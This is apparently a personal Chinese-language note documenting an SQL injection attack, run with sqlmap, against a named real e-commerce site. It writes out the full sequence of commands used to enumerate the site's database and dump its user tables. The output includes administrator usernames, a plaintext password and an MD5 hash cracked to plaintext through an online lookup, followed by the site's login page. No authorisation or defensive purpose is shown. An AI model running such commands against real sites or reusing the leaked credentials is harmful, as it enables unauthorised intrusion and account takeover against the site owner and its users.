标签(空格分隔): webSec
http://www.atrium.com.pk/Shopping.php?ID=1
- sqlmap
- Ubuntu 安装:sudo apt install sqlmap
sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1
sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 --dbs --current-user
sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 --tables
Database: db738736812
[51 tables]
+--------------------------+
| about_website |
| address |
| banners |
| bestsellers |
| brands |
| categories |
| daily_deal |
| discount_coupons |
| emails |
| entertainments |
| events |
| feature_products |
| features |
| footer_categories |
| footer_links |
| homeboxes |
| infopages |
| logos |
| mainbanners |
| menu |
| middle_message |
| multimedia |
| newsletter_subscribers |
| newsletters |
| newsline |
| order_cancel_reasons |
| order_status |
| orders |
| other_countries_shipping |
| p_options |
| p_options_values |
| p_stocks |
| payment_methods |
| product_options |
| product_reviews |
| products |
| roles |
| seo |
| shipping_rates |
| shippings |
| slider |
| sliders |
| socialmedia |
| telephones |
| thumbnails |
| topbrands |
| topmessage |
| upsaleproducts |
| user_groups |
| users |
| website_users |
+--------------------------+
sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 -T users --columns
Table: users
[13 columns]
+--------------+------------+
| Column | Type |
+--------------+------------+
| Admin | tinyint(1) |
| DateAdded | datetime |
| DateModified | datetime |
| EmailAddress | text |
| FirstName | text |
| ID | int(11) |
| LastName | text |
| Password | text |
| PerformedBy | int(11) |
| Role | int(11) |
| Status | tinyint(1) |
| UserGroup | tinyint(1) |
| UserName | text |
+--------------+------------+
sqlmap -u http://www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 -T website_users -C "Email,IP,Password,Successfull" --dump
有些密码是hash的需要Hash碰撞(社工库)
sqlmap -u www.atrium.com.pk/Shopping.php?ID=1 -D db738736812 -T users -C "Admin,EmailAddress,Password,UserName" --dump
Database: db738736812
Table: users
[2 entries]
+-------+--------------+----------------------------------+------------+
| Admin | EmailAddress | Password | UserName |
+-------+--------------+----------------------------------+------------+
| 1 | <blank> | c91ed8edc09b94e28ba6e827005eabb8 | Atrium786 |
| 1 | <blank> | demo@123 | Atrium1786 |
+-------+--------------+----------------------------------+------------+
http://www.dmd5.com/md5-decrypter.jsp
碰撞成功!
密文:c91ed8edc09b94e28ba6e827005eabb8
碰撞结果:Atriummallz@786
密文类型:md5
解密用时:1135毫秒
http://www.atrium.com.pk/Login